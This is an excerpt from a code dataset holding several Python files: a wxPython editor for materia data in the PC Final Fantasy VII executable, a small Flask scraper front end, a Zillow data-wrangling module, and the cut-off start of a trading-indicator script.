self.textCtrl143.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl144 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL144,\n name='textCtrl144', parent=self.panel19, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl144.SetMaxLength(4)\n self.textCtrl144.SetInsertionPoint(0)\n self.textCtrl144.SetMinSize(wx.Size(40, 24))\n self.textCtrl144.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.panel20 = wx.Panel(id=wxID_FRAME2PANEL20, name='panel20',\n parent=self.panel1, pos=wx.Point(8, 440), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel20.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl145 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL145,\n name='textCtrl145', parent=self.panel20, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl145.SetMaxLength(4)\n self.textCtrl145.SetInsertionPoint(0)\n self.textCtrl145.SetMinSize(wx.Size(40, 24))\n self.textCtrl145.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl146 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL146,\n name='textCtrl146', parent=self.panel20, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl146.SetMaxLength(4)\n self.textCtrl146.SetInsertionPoint(0)\n self.textCtrl146.SetMinSize(wx.Size(40, 24))\n self.textCtrl146.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl147 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL147,\n name='textCtrl147', parent=self.panel20, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl147.SetMaxLength(4)\n self.textCtrl147.SetInsertionPoint(0)\n self.textCtrl147.SetMinSize(wx.Size(40, 24))\n self.textCtrl147.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl148 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL148,\n name='textCtrl148', parent=self.panel20, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl148.SetMaxLength(4)\n self.textCtrl148.SetInsertionPoint(0)\n self.textCtrl148.SetMinSize(wx.Size(40, 24))\n self.textCtrl148.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl149 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL149,\n name='textCtrl149', parent=self.panel20, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl149.SetMaxLength(4)\n self.textCtrl149.SetInsertionPoint(0)\n self.textCtrl149.SetMinSize(wx.Size(40, 24))\n self.textCtrl149.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl150 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL150,\n name='textCtrl150', parent=self.panel20, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl150.SetMaxLength(4)\n self.textCtrl150.SetInsertionPoint(0)\n self.textCtrl150.SetMinSize(wx.Size(40, 24))\n self.textCtrl150.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl151 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL151,\n name='textCtrl151', parent=self.panel20, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl151.SetMaxLength(4)\n self.textCtrl151.SetInsertionPoint(0)\n self.textCtrl151.SetMinSize(wx.Size(40, 24))\n self.textCtrl151.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl152 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL152,\n name='textCtrl152', parent=self.panel20, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl152.SetMaxLength(4)\n self.textCtrl152.SetInsertionPoint(0)\n self.textCtrl152.SetMinSize(wx.Size(40, 24))\n self.textCtrl152.SetBackgroundStyle(wx.BG_STYLE_SYSTEM)\n self.textCtrl152.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.panel21 = wx.Panel(id=wxID_FRAME2PANEL21, name='panel21',\n parent=self.panel1, pos=wx.Point(8, 464), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel21.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl153 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL153,\n name='textCtrl153', parent=self.panel21, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl153.SetMaxLength(4)\n self.textCtrl153.SetInsertionPoint(0)\n self.textCtrl153.SetMinSize(wx.Size(40, 24))\n self.textCtrl153.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl154 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL154,\n name='textCtrl154', parent=self.panel21, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl154.SetMaxLength(4)\n self.textCtrl154.SetInsertionPoint(0)\n self.textCtrl154.SetMinSize(wx.Size(40, 24))\n self.textCtrl154.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl155 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL155,\n name='textCtrl155', parent=self.panel21, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl155.SetMaxLength(4)\n self.textCtrl155.SetInsertionPoint(0)\n self.textCtrl155.SetMinSize(wx.Size(40, 24))\n self.textCtrl155.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl156 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL156,\n name='textCtrl156', parent=self.panel21, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl156.SetMaxLength(4)\n self.textCtrl156.SetInsertionPoint(0)\n self.textCtrl156.SetMinSize(wx.Size(40, 24))\n self.textCtrl156.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl157 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL157,\n name='textCtrl157', parent=self.panel21, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl157.SetMaxLength(4)\n self.textCtrl157.SetInsertionPoint(0)\n self.textCtrl157.SetMinSize(wx.Size(40, 24))\n self.textCtrl157.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl158 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL158,\n name='textCtrl158', parent=self.panel21, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl158.SetMaxLength(4)\n self.textCtrl158.SetInsertionPoint(0)\n self.textCtrl158.SetMinSize(wx.Size(40, 24))\n self.textCtrl158.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl159 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL159,\n name='textCtrl159', parent=self.panel21, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl159.SetMaxLength(4)\n self.textCtrl159.SetInsertionPoint(0)\n self.textCtrl159.SetMinSize(wx.Size(40, 24))\n self.textCtrl159.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl160 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL160,\n name='textCtrl160', parent=self.panel21, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl160.SetMaxLength(4)\n self.textCtrl160.SetInsertionPoint(0)\n self.textCtrl160.SetMinSize(wx.Size(40, 24))\n self.textCtrl160.SetBackgroundStyle(wx.BG_STYLE_SYSTEM)\n self.textCtrl160.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.panel22 = wx.Panel(id=wxID_FRAME2PANEL22, name='panel22',\n parent=self.panel1, pos=wx.Point(8, 488), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel22.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl161 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL161,\n name='textCtrl161', parent=self.panel22, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl161.SetMaxLength(4)\n self.textCtrl161.SetInsertionPoint(0)\n self.textCtrl161.SetMinSize(wx.Size(40, 24))\n self.textCtrl161.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl162 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL162,\n name='textCtrl162', parent=self.panel22, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl162.SetMaxLength(4)\n self.textCtrl162.SetInsertionPoint(0)\n self.textCtrl162.SetMinSize(wx.Size(40, 24))\n self.textCtrl162.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl163 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL163,\n name='textCtrl163', parent=self.panel22, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl163.SetMaxLength(4)\n self.textCtrl163.SetInsertionPoint(0)\n self.textCtrl163.SetMinSize(wx.Size(40, 24))\n self.textCtrl163.SetBackgroundStyle(wx.BG_STYLE_SYSTEM)\n self.textCtrl163.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl164 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL164,\n name='textCtrl164', parent=self.panel22, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl164.SetMaxLength(4)\n self.textCtrl164.SetInsertionPoint(0)\n self.textCtrl164.SetMinSize(wx.Size(40, 24))\n self.textCtrl164.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl165 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL165,\n name='textCtrl165', parent=self.panel22, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl165.SetMaxLength(4)\n self.textCtrl165.SetInsertionPoint(0)\n self.textCtrl165.SetMinSize(wx.Size(40, 24))\n self.textCtrl165.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl166 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL166,\n name='textCtrl166', parent=self.panel22, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl166.SetMaxLength(4)\n self.textCtrl166.SetInsertionPoint(0)\n self.textCtrl166.SetMinSize(wx.Size(40, 24))\n self.textCtrl166.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl167 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL167,\n name='textCtrl167', parent=self.panel22, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl167.SetMaxLength(4)\n self.textCtrl167.SetInsertionPoint(0)\n self.textCtrl167.SetMinSize(wx.Size(40, 24))\n self.textCtrl167.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.textCtrl168 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL168,\n name='textCtrl168', parent=self.panel22, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl168.SetMaxLength(4)\n self.textCtrl168.SetInsertionPoint(0)\n self.textCtrl168.SetMinSize(wx.Size(40, 24))\n self.textCtrl168.SetBackgroundColour(wx.Colour(255, 217, 34))\n\n self.panel23 = wx.Panel(id=wxID_FRAME2PANEL23, name='panel23',\n parent=self.panel1, pos=wx.Point(8, 512), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel23.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl169 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL169,\n name='textCtrl169', parent=self.panel23, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl169.SetMaxLength(4)\n self.textCtrl169.SetInsertionPoint(0)\n self.textCtrl169.SetMinSize(wx.Size(40, 24))\n self.textCtrl169.SetBackgroundColour(wx.Colour(255, 0, 0))\n\n self.textCtrl170 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL170,\n name='textCtrl170', parent=self.panel23, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl170.SetMaxLength(4)\n self.textCtrl170.SetInsertionPoint(0)\n self.textCtrl170.SetMinSize(wx.Size(40, 24))\n self.textCtrl170.SetBackgroundColour(wx.Colour(255, 0, 0))\n\n self.textCtrl171 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL171,\n name='textCtrl171', parent=self.panel23, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl171.SetMaxLength(4)\n self.textCtrl171.SetInsertionPoint(0)\n self.textCtrl171.SetMinSize(wx.Size(40, 24))\n self.textCtrl171.SetBackgroundColour(wx.Colour(255, 0, 0))\n\n self.textCtrl172 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL172,\n name='textCtrl172', parent=self.panel23, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl172.SetMaxLength(4)\n self.textCtrl172.SetInsertionPoint(0)\n self.textCtrl172.SetMinSize(wx.Size(40, 24))\n self.textCtrl172.SetBackgroundColour(wx.Colour(255, 0, 0))\n\n self.textCtrl173 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL173,\n name='textCtrl173', parent=self.panel23, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl173.SetMaxLength(4)\n self.textCtrl173.SetInsertionPoint(0)\n self.textCtrl173.SetMinSize(wx.Size(40, 24))\n self.textCtrl173.SetBackgroundColour(wx.Colour(255, 0, 0))\n\n self.textCtrl174 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL174,\n name='textCtrl174', parent=self.panel23, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl174.SetMaxLength(4)\n self.textCtrl174.SetInsertionPoint(0)\n self.textCtrl174.SetMinSize(wx.Size(40, 24))\n self.textCtrl174.SetBackgroundStyle(wx.BG_STYLE_SYSTEM)\n self.textCtrl174.SetBackgroundColour(wx.Colour(255, 0, 0))\n\n self.textCtrl175 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL175,\n name='textCtrl175', parent=self.panel23, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl175.SetMaxLength(4)\n self.textCtrl175.SetInsertionPoint(0)\n self.textCtrl175.SetMinSize(wx.Size(40, 24))\n self.textCtrl175.SetBackgroundColour(wx.Colour(255, 0, 0))\n\n self.textCtrl176 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL176,\n name='textCtrl176', parent=self.panel23, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl176.SetMaxLength(4)\n self.textCtrl176.SetInsertionPoint(0)\n self.textCtrl176.SetMinSize(wx.Size(40, 24))\n self.textCtrl176.SetBackgroundColour(wx.Colour(255, 0, 0))\n\n self.panel24 = wx.Panel(id=wxID_FRAME2PANEL24, name='panel24',\n parent=self, pos=wx.Point(136, 0), size=wx.Size(408, 30),\n style=wx.TAB_TRAVERSAL)\n self.panel24.SetMinSize(wx.Size(200, 30))\n\n self.staticText8 = wx.StaticText(id=wxID_FRAME2STATICTEXT8,\n label='STR VIT DEF MDEF DEX LCK HP% MP%',\n name='staticText8', parent=self.panel24, pos=wx.Point(72, 8),\n size=wx.Size(310, 16), style=0)\n self.staticText8.SetFont(wx.Font(10, wx.SWISS, wx.NORMAL, wx.BOLD,\n False, u'Sans Serif'))\n\n self.staticText1 = wx.StaticText(id=wxID_FRAME2STATICTEXT1, label='1',\n name='staticText1', parent=self.panel2, pos=wx.Point(8, 8),\n size=wx.Size(40, 16), style=0)\n\n self.staticText2 = wx.StaticText(id=wxID_FRAME2STATICTEXT2, label='2',\n name='staticText2', parent=self.panel3, pos=wx.Point(8, 8),\n size=wx.Size(40, 16), style=0)\n\n self.staticText3 = wx.StaticText(id=wxID_FRAME2STATICTEXT3, label='3',\n name='staticText3', parent=self.panel4, pos=wx.Point(8, 8),\n size=wx.Size(40, 21), style=0)\n\n self.staticText4 = wx.StaticText(id=wxID_FRAME2STATICTEXT4, label='4',\n name='staticText4', parent=self.panel5, pos=wx.Point(8, 8),\n size=wx.Size(6, 13), style=0)\n\n self.staticText5 = wx.StaticText(id=wxID_FRAME2STATICTEXT5, label='5',\n name='staticText5', parent=self.panel6, pos=wx.Point(8, 8),\n size=wx.Size(6, 13), style=0)\n\n self.staticText6 = wx.StaticText(id=wxID_FRAME2STATICTEXT6, label='6',\n name='staticText6', parent=self.panel7, pos=wx.Point(8, 8),\n size=wx.Size(6, 13), style=0)\n\n self.staticText7 = wx.StaticText(id=wxID_FRAME2STATICTEXT7, label='7',\n name='staticText7', parent=self.panel8, pos=wx.Point(8, 8),\n size=wx.Size(6, 13), style=0)\n\n self.staticText9 = wx.StaticText(id=wxID_FRAME2STATICTEXT9, label='8',\n name='staticText9', parent=self.panel9, pos=wx.Point(8, 8),\n size=wx.Size(6, 13), style=0)\n\n self.staticText10 = wx.StaticText(id=wxID_FRAME2STATICTEXT10, label='9',\n name='staticText10', parent=self.panel10, pos=wx.Point(8, 8),\n size=wx.Size(6, 13), style=0)\n\n self.staticText11 = wx.StaticText(id=wxID_FRAME2STATICTEXT11,\n label='10', name='staticText11', parent=self.panel11,\n pos=wx.Point(8, 8), size=wx.Size(12, 13), style=0)\n\n self.staticText12 = wx.StaticText(id=wxID_FRAME2STATICTEXT12,\n label='11', name='staticText12', parent=self.panel12,\n pos=wx.Point(8, 8), size=wx.Size(12, 13), style=0)\n\n self.staticText13 = wx.StaticText(id=wxID_FRAME2STATICTEXT13,\n label='12', name='staticText13', parent=self.panel13,\n pos=wx.Point(8, 8), size=wx.Size(12, 13), style=0)\n\n self.staticText14 = wx.StaticText(id=wxID_FRAME2STATICTEXT14,\n label='13', name='staticText14', parent=self.panel14,\n pos=wx.Point(8, 8), size=wx.Size(12, 13), style=0)\n\n self.staticText15 = wx.StaticText(id=wxID_FRAME2STATICTEXT15,\n label='14', name='staticText15', parent=self.panel15,\n pos=wx.Point(8, 8), size=wx.Size(12, 13), style=0)\n\n self.staticText16 = wx.StaticText(id=wxID_FRAME2STATICTEXT16,\n label='15', name='staticText16', parent=self.panel16,\n pos=wx.Point(8, 8), size=wx.Size(12, 13), style=0)\n\n self.staticText17 = wx.StaticText(id=wxID_FRAME2STATICTEXT17,\n label='16', name='staticText17', parent=self.panel17,\n pos=wx.Point(8, 8), size=wx.Size(12, 13), style=0)\n\n self.staticText18 = wx.StaticText(id=wxID_FRAME2STATICTEXT18,\n label='17', name='staticText18', parent=self.panel18,\n pos=wx.Point(8, 8), size=wx.Size(12, 13), style=0)\n\n self.staticText19 = wx.StaticText(id=wxID_FRAME2STATICTEXT19,\n label='18', name='staticText19', parent=self.panel19,\n pos=wx.Point(8, 8), size=wx.Size(12, 13), style=0)\n\n self.staticText20 = wx.StaticText(id=wxID_FRAME2STATICTEXT20,\n label='19', name='staticText20', parent=self.panel20,\n pos=wx.Point(8, 8), size=wx.Size(12, 13), style=0)\n\n self.staticText21 = wx.StaticText(id=wxID_FRAME2STATICTEXT21,\n label='20', name='staticText21', parent=self.panel21,\n pos=wx.Point(8, 8), size=wx.Size(12, 13), style=0)\n\n self.staticText22 = wx.StaticText(id=wxID_FRAME2STATICTEXT22,\n label='21', name='staticText22', parent=self.panel22,\n pos=wx.Point(8, 8), size=wx.Size(12, 13), style=0)\n\n self.staticText23 = wx.StaticText(id=wxID_FRAME2STATICTEXT23,\n label='22', name='staticText23', parent=self.panel23,\n pos=wx.Point(8, 8), size=wx.Size(12, 13), style=0)\n\n def __init__(self, parent):\n self._init_ctrls(parent)\n\n def OnButton1Button(self, event):\n event.Skip()\n\n with wx.FileDialog(self, \"LOAD 1998 PC FF7.EXE\", wildcard=\"EXE (*.exe)|*.exe\", style=wx.FD_OPEN | wx.FD_FILE_MUST_EXIST) as fileDialog:\n if fileDialog.ShowModal() == wx.ID_CANCEL:\n return # the user changed their mind\n\n # Proceed loading the file chosen by the user\n filename = fileDialog.GetPath()\n try:\n materia = [' ']*22\n materia = materiaLoader(filename,5232840)\n global mx\n mx = 0\n update(self)\n except IOError:\n wx.LogError(\"Cannot open file '%s'.\" % filename)\n\n\n def OnButton2Button(self, event):\n event.Skip()\n\n with wx.FileDialog(self, \"SAVE 1998 PC FF7.EXE\", wildcard=\"EXE (*.exe)|*.exe\", style=wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT) as fileDialog:\n\n if fileDialog.ShowModal() == wx.ID_CANCEL:\n return # the user changed their mind\n\n # save the current contents in the file\n filename = fileDialog.GetPath()\n try:\n materia=downdate(self)\n #print(materia)\n saver(filename,5232840)\n except IOError:\n wx.LogError(\"Cannot save current data in file '%s'.\" % filename)\n \n\n def OnButton3Button(self, event):\n event.Skip()\n","repo_name":"TurBoss/libremateria","sub_path":"Frame1.py","file_name":"Frame1.py","file_ext":"py","file_size_in_byte":85635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"280181231","text":"from flask import Flask, request, render_template, url_for\nfrom main import web_scrapper\nfrom flask_cors import cross_origin\nimport pickle\n\n\n# creating Flask Object\napp = Flask(__name__)\napp.secret_key =\"Rupee\"\n\n\n\n\n@app.route(\"/\")\n@cross_origin()\ndef home():\n return render_template(\"Main.html\")\n\n@app.route(\"/fetch\", methods=[\"POST\",\"GET\"])\n@cross_origin()\ndef fetch():\n samp_dict=request.form\n name = samp_dict['m_name']\n count=int(samp_dict[\"count\"])\n data= web_scrapper(name,count)\n return render_template(\"results.html\",data=data,mobile_name=name)\n\nport = int(os.environ.get(\"PORT\", 5000))\napp.run(debug=True, host='127.0.0.1', port=port)","repo_name":"RupeshKeesaram/Flipkart-Mobile-Data-Scrapper","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40712032482","text":"\nimport os\nfrom env import host, user, password\n\nimport pandas as pd\nimport numpy as np\nfrom math import sqrt\n\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.model_selection import train_test_split\nfrom scipy import stats\n\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.linear_model import LinearRegression, LassoLars, TweedieRegressor\nfrom sklearn.preprocessing import PolynomialFeatures\n\n\n## IMPORTS #######################################################################\nimport pandas as pd\nimport numpy as np\n\nfrom env import user, password, host\n\nimport os\n\n## GLOBAL VARIABLES #######################################################################\n\n#database to use to pull the data from SQL server\ndb = 'zillow'\n\n#url string with connection credentials used to access Zillow database from SQL server \nurl = f'mysql+pymysql://{user}:{password}@{host}/{db}'\n\n#SQL query that returns selected data from server\nquery = '''\nSELECT bathroomcnt,\n bedroomcnt,\n calculatedfinishedsquarefeet,\n fips,\n yearbuilt,\n taxvaluedollarcnt\nFROM properties_2017\nJOIN predictions_2017 USING(parcelid)\nWHERE propertylandusetypeid = 261;\n'''\n\n#name of the .csv file with project data\nfile_name = 'zillow.csv'\n\n\n## ACQUIRE FUNCTION #######################################################################\n\ndef acquire_data():\n '''\n This function checks for the .csv file with the raw project data and, if the file exists\n locally, writes its contents to a pandas df.\n \n If the raw project data file does not exist locally, the query and url variables, which are defined \n globally in the acquire.py file, are used to access the SQL and the queried data is written to a \n pandas df.\n \n This function returns a df of the raw queried data. \n '''\n\n # if csv file with project data already exists locally, read it into a pandas df\n if os.path.isfile(file_name):\n return pd.read_csv(file_name)\n \n # if project data csv file does not exist locally, connect to SQL db and save query as df\n else:\n return pd.read_sql(query, url)\n \n \n \n ## PREPARE FUNCTION #######################################################################\n\ndef clean_data():\n \n # function from acquire module, that reads sql query (or local .csv file) to DataFrame\n df = acquire_data()\n \n # change column names\n df.rename(columns = {'bathroomcnt': 'baths', \n 'bedroomcnt': 'beds', \n 'calculatedfinishedsquarefeet': 'sqft',\n 'taxvaluedollarcnt':'tax_value'}, inplace = True)\n \n # drop null rows\n df = df.dropna()\n \n # drop rows with zero count for 'beds' or 'baths'\n df = df.drop(df[(df.beds == 0) | (df.baths == 0)].index)\n \n # var with list of columns that the outliers will be removed from\n out_cols = ['beds', 'baths', 'sqft', 'tax_value']\n \n # for loop that will remove outliers from specified columns\n for col in out_cols:\n \n # get quartiles\n q1, q3 = df[col].quantile([.25, .75])\n \n # calculate interquartile range IQR\n iqr = q3 - q1\n \n # get upper and lower bounds\n upper_bound = q3 + 1.5 * iqr\n lower_bound = q1 - 1.5 * iqr\n \n # using boolean mask to filter out columns that fall outside of upper and lower bounds \n df = df[(df[col] > lower_bound) & (df[col] < upper_bound)]\n \n return df\n \n\ndef assign_county(row):\n '''\nTHIS FUNCTION TAKES IN A ROW FROM DF AND CREATES A NEW COLUMN\nWITH THE TEXT OF THE CORRESPONDING COUNTY TO THE FIPS CODE.\n '''\n if row['fips'] == 6037:\n return 'Los Angeles'\n if row['fips'] == 6059:\n return 'Orange'\n if row['fips'] == 6111:\n return 'Ventura'\n \ndef encode_fips():\n '''\nTHIS FUNCTION TAKES IN THE DF AND ENCODES THE FIPS COLUMN FOR \nEACH OF THE THREE COUNTIES AND THEN DROPS THE OBJECT COUNTY COLUMN\n '''\n df = clean_data()\n \n df['county'] = df.apply(lambda row: assign_county(row), axis = 1)\n \n dummy_df = pd.get_dummies(df[['county']], drop_first = False)\n \n df = pd.concat([df, dummy_df], axis = 1)\n \n \n return df\n\n## GLOBAL VARIABLES ####################################################################### \n\n# list of all cleaned columns\nall_columns = clean_data().columns.to_list()\nall_columns = clean_data().columns.to_list()\n\n# list of numerical columns\nnum_cols = ['sqft', 'tax_value', 'baths', 'beds', 'yearbuilt']\n\n# list of categorical columns\ncat_cols = ['fips']\n\n# list of columns where outliers were removed\nout_cols_raw = ['bathroomcnt', 'bedroomcnt', 'calculatedfinishedsquarefeet', 'taxvaluedollarcnt']\nout_cols_clean = ['beds', 'baths', 'sqft', 'tax_value']\n\n\n## VISUALIZE FUNCTION #######################################################################\ndef visualize_data():\n '''\n This function will return two rows of boxplot visualizations of the distributions of columns where \n outliers were removed. The top column will show the before distributions and, on the bottom,\n the visualizations will show the distributions after outliers were removed.\n '''\n # df of raw data acquired from acquire function\n raw_data = acquire_data()\n \n # 1st column of boxplots, shows distributions of vars before outliers removed\n plt.figure(figsize = (18, 5))\n \n # for loop that cycles through list of columns where outliers will be removed (used acquired df names)\n for i, col in enumerate(out_cols_raw):\n\n # i starts at 0, but plot nos should start at 1\n plot_number = i + 1 \n\n # Create subplot.\n plt.subplot(1, len(out_cols_raw), plot_number)\n\n # Title with column name.\n plt.title(f'{col} with Outliers')\n\n # Display boxplot for column.\n sns.boxplot(data = raw_data, y = raw_data[col])\n\n # Hide gridlines.\n plt.grid(False)\n \n # 2nd column of boxplots, shows distributions of vars after outliers removed\n plt.figure(figsize = (18, 5))\n \n # for loop that cycles through list of columns where outliers will be removed (uses cleaned df names)\n for i, col in enumerate(out_cols_clean):\n\n # i starts at 0, but plot nos should start at 1\n plot_number = i + 1 \n\n # Create subplot.\n plt.subplot(1, len(out_cols_clean), plot_number)\n\n # Title with column name.\n plt.title(f'{col} no outliers')\n\n # Display boxplot for column.\n sns.boxplot(data = clean_data(), y = clean_data()[col])\n sns.boxplot(data = clean_data(), y = clean_data()[col])\n\n # Hide gridlines.\n plt.grid(False)\n \ndf = encode_fips() \n \n## PREPARE FUNCTION ####################################################################### \ndef prepare_data():\n '''\n This function splits our data in three, returning a train, validate, and test dataframe.\n '''\n # split\n # var holding df to split\n \n # create test df\n train_validate, test = train_test_split(df, test_size = .2, random_state = 123)\n \n #split remaining data into train and validate\n train, validate = train_test_split(train_validate, test_size = .3, random_state = 123)\n \n return train, validate, test\n \n \ndef feature_select(train, validate, test):\n '''\n \n '''\n train, validate, test = prepare_data()\n \n #prepare data for modeling\n X_train = train[['baths', 'beds', 'sqft', 'county_Los Angeles', 'county_Orange', 'county_Ventura']]\n y_train = train[['tax_value']]\n\n X_validate = validate[['baths', 'beds', 'sqft', 'county_Los Angeles', 'county_Orange', 'county_Ventura']]\n y_validate = validate[['tax_value']]\n\n X_test = test[['baths', 'beds', 'sqft', 'county_Los Angeles', 'county_Orange', 'county_Ventura']]\n y_test = test[['tax_value']]\n \n return X_train, y_train, X_validate, y_validate, X_test, y_test\n \n\n ","repo_name":"stephanie-jones78/zillow_regression_project","sub_path":"wrangle.py","file_name":"wrangle.py","file_ext":"py","file_size_in_byte":8085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75141973955","text":"import pandas as pd\nimport numpy as np\nimport talib\nimport datetime\n# import features.zigzag as fz\nfrom backtesting.BackTesting.datahub.zigzag import *\nfrom tools.indicators.Indicators import *\nfrom tools.indicators.Bars import *\nfrom strategy.functionsforATRRegression import *\n# from strategy.ATRStrategy import *\n\n\n\ndef import_data_source():\n table_15_min_sub1 = pd.read_csv('C:/Users/Administrator/Desktop/pythonHistoricalTesting/data/SCData/YMH21-CBOT_15min_from_2015_01_01_to_2017_12_31.txt',\n parse_dates={'Time': [0, 1]})\n table_15_min_sub2 = 